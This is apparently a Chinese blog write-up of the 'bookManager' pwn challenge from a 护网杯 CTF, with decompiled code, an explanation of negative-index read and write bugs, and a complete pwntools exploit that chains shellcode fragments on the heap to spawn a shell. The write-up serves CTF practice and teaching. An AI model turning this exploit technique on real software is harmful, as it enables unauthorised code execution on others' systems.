kir[A]'s 小黑屋

护网杯线下赛积分赛bookManager

字数统计: 931阅读时长: 4 min
2018/10/29 Share

护网杯线下赛第一场是ctf积分赛,秒做pwn签到题之后一直无所事事,这道bookManager当时也没能做出来,趁着中午午休的时候,把这条题重新做做。

bookManager

1
2
3
4
5
6
7
[*] '/home/kira/pwn/huwangbei/task_bookManager'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rbx
int v5; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]

v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 1, 0LL);
v3 = operator new(0x100uLL);
init_(v3); // 初始化
v6 = v3;
qword_202088 = v3 + 12; // 出题人故意留的指针
while ( (unsigned int)menu() != 0 )
{
v5 = 0;
scanf("%d", &v5);
if ( v5 == 2 )
{
(*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 8LL))(v6);// func[2] == show
}
else if ( v5 > 2 )
{
if ( v5 == 3 )
{
(*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 16LL))(v6);// func[1] == edit
}
else if ( v5 == 4 )
{
return 1LL;
}
}
else if ( v5 == 1 )
{
(**(void (__fastcall ***)(__int64))v6)(v6);// func[0] == add
}
}
return 0LL;
}

程序提供了三种功能,分别是add,edit,show

1
2
3
4
5
6
void *__fastcall sub_B10(__int64 a1)
{
*(_QWORD *)a1 = off_201DC0;
*(_DWORD *)(a1 + 8) = 0;
return memset((void *)(a1 + 12), 0, 0xF0uLL);
}

程序初始化时,新建了一个对象,其中off_201DC0存放了三个基本功能的函数地址,大概结构如下:

1
2
3
4
5
6
7
func[3]         8byte
book_count 4byte
book1conent 8byte
book1index 4byte
book2conent 8byte
book2index 4byte
....

漏洞点一:show的函数可以输入负数,如果输入-1就可以把func[3]的地址泄露出来,从而计算出ELF基址

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall show(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which book do you want to show?");
scanf("%d", &v2);
printf("book name is:%s\n", a1 + 12LL * v2 + 12);
return __readfsqword(0x28u) ^ v3;
}

漏洞点二:eidt的函数同样可以输入负数,如果输入-1就可以修改对象存放的函数地址,考虑到程序没开NX,本题可以使用shellcode来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall edit(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-24h]
__int64 buf; // [rsp+20h] [rbp-20h]
__int16 v4; // [rsp+28h] [rbp-18h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("change Book id:");
v2 = 0;
scanf("%d", &v2);
printf("new Name:");
buf = 0LL;
v4 = 0;
read(0, &buf, 0xAuLL);
*(_QWORD *)(a1 + 12LL * v2 + 12) = buf;
return __readfsqword(0x28u) ^ v5;
}

可控的输入字段是book的content,问题是如何泄露heap地址,比赛的时候一直没想到方法。直到剩最后半小时,才发现出题人在程序里故意留了一个可用的指针qword_202088,果然这些蜜汁变量都是有用的!

这个地址就是直接指向book1conent开始的地方,如果把对象存放的函数地址修改为这个地址,那么输入1之后(func[0]),就能运行heap中的shellcode,注意每组content只有8字节长度,中间有4字节是存放index

由于分段太多,除去跳转的jmp short 4,只剩6字节一组,那就先用read(0,&buf,0xff)来扩大输入,然后再写入getshell的shellcode。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def add(name):
p.sendlineafter('choice:\n','1')
p.sendafter('BookName:',name)

def edit(idx,name):
p.sendlineafter('choice:\n','2')
p.sendlineafter('id:',str(idx))
p.sendlineafter('Name:',name)

def show(idx):
p.sendlineafter('choice:\n','3')
p.sendlineafter('show?',str(idx))

show(-1)
p.recvuntil('name is:')
func_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success('func_addr:{:#x}'.format(func_addr))
elf_address = func_addr - 0x201dc0
success('elf_address:{:#x}'.format(elf_address))
shellcode_addr = elf_address + 0x202088
# read(0,&buf,0xff)
jmp_4 = '\xeb\x04'
shellcode1 = asm('''
mov rsi, rax
xor rdi, rdi
''')
add(shellcode1.ljust(6,'\x90')+jmp_4)

shellcode2 = asm('''
xor rax, rax
''')
add(shellcode2.ljust(6,'\x90')+jmp_4)

shellcode3 = asm('''
mov edx,0xff
''')
add(shellcode3.ljust(6,'\x90')+jmp_4)

shellcode4 = asm('''
syscall
''')
add(shellcode4)
# overwrite *func[3]
edit(-1,p64(shellcode_addr))
p.sendlineafter('choice:\n','1')
p.send('\x90'*48+asm(shellcraft.sh()))
p.interactive()

注意rdx的不能太大,不然read没反应。总结一下,平时手写shellcode太少了,最后半小时手忙脚乱,没把exp写出来(虽然做出来也没什么卵用)。还有几题难道有点大,之后随缘做吧,有时间先把AWD的pwn重新做一下~

CATALOG
  1. 1. bookManager